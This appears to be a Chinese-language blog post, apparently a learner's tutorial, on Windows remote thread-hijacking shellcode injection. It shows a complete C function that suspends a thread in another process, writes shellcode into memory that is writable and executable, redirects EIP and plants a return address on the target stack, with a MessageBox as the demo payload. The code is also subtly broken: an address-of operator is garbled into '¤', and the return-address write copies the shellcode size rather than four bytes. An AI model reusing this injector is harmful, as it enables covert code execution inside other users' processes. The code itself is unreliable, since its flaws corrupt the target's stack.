https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程supend之前的地址继续执行原线程的代码了?当时想的动态获取context中eip的地址,再把push eip 转成机器码,最后放到shellcode的头部。由于shellcode是C3(ret)结尾了,自然会把栈顶的4字节弹出来赋值给EIP,达到回到原线程代码继续执行的目的。但实际操作时,地址往往会带00,转成字符串操作时会被截断,导致返回地址错误,程序最终“跑飞”,不知道运行到哪去了。这种方式现在就卡这了:要想尽一切办法把返回地址写入栈顶!
刚开始的思路是拿到目标进程的DirTableBae,赋值给当前CR3,达到进程切换的目的,然后通过sub esp,4; mov [esp], eip; 把eip写道栈顶;但实际操作时,在3环暂时未发现获取目标进程CR3的方法,这种思路暂时无法落地;最后还是靠着WriteProcessMemory把eip写入栈顶。shellcode注入部分代码更改如下:
其他没变,增加了两行:ctx.Esp = ctx.Esp - 4; WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, ¤tEIP, shellcodeSize, NULL);
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize) { LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("shellcode address:%p ", shellAddress); if (shellAddress == NULL) { printf("VirtualAlloc Error "); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE ); ResumeThread(hThread); return FALSE; } WOW64_CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx)) { int a = GetLastError(); printf("GetThreadContext Error:%d ", a); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); ResumeThread(hThread); return FALSE; } DWORD currentEIP = ctx.Eip; DWORD currentESP = ctx.Esp; if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error "); ResumeThread(hThread); return FALSE; } ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode ctx.Esp = ctx.Esp - 4;//分配4字节的空间,用来存放shellcode执行后的返回地址,也就是currentEIP,如下: printf("ctx.Esp:%p ", ctx.Esp); printf("return address:%p ", currentEIP); if (WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, ¤tEIP, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error "); ResumeThread(hThread); return FALSE; } if (!Wow64SetThreadContext(hThread, &ctx)) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("set thread context error "); ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; }
效果如下:确实弹出了messageBox:
process hacker查看:shellcode成功写入:
返回地址也成功写入:
最后:推荐一个歪果仁总结的进程注入方法,非常详细,墙裂推荐: